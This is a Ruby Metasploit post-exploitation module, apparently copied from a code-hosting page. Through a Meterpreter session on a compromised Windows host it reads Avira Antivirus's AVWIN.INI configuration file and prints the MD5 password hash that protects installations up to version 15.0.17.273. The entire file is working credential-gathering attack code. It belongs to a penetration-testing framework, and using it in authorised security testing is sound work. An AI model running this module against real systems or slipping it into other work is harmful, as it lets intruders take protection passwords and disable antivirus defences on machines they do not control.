57 lines
1.6 KiB
Ruby
57 lines
1.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'rex/parser/ini'
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class MetasploitModule < Msf::Post
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include Msf::Post::Windows::Registry
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Gather Avira Password Extraction',
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'Description' => %q{
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This module extracts the weakly hashed password
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which is used to protect a Avira Antivirus (<= 15.0.17.273) installation.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Robert Kugler / robertchrk'],
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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end
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def run
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print_status("Checking default location...")
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check_programdata("C:\\ProgramData\\Avira\\Antivirus\\CONFIG\\AVWIN.INI")
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end
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def check_programdata(path)
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begin
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client.fs.file.stat(path)
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print_status("Found file at #{path}")
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get_ini(path)
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rescue
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print_status("#{path} not found ....")
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end
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end
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def get_ini(filename)
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config = client.fs.file.new(filename, 'r')
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parse = Rex::Text.to_ascii(config.read)
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ini = Rex::Parser::Ini.from_s(parse)
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if ini == {}
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print_error("Unable to parse file")
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return
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end
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print_status("Processing configuration file...")
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passwd = ini["COMMON"]['Password']
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passwd = passwd.delete "\""
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print_good("MD5(Unicode) hash found: #{passwd}")
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print_good("Info: Password length is limited to 20 characters.")
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end
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end
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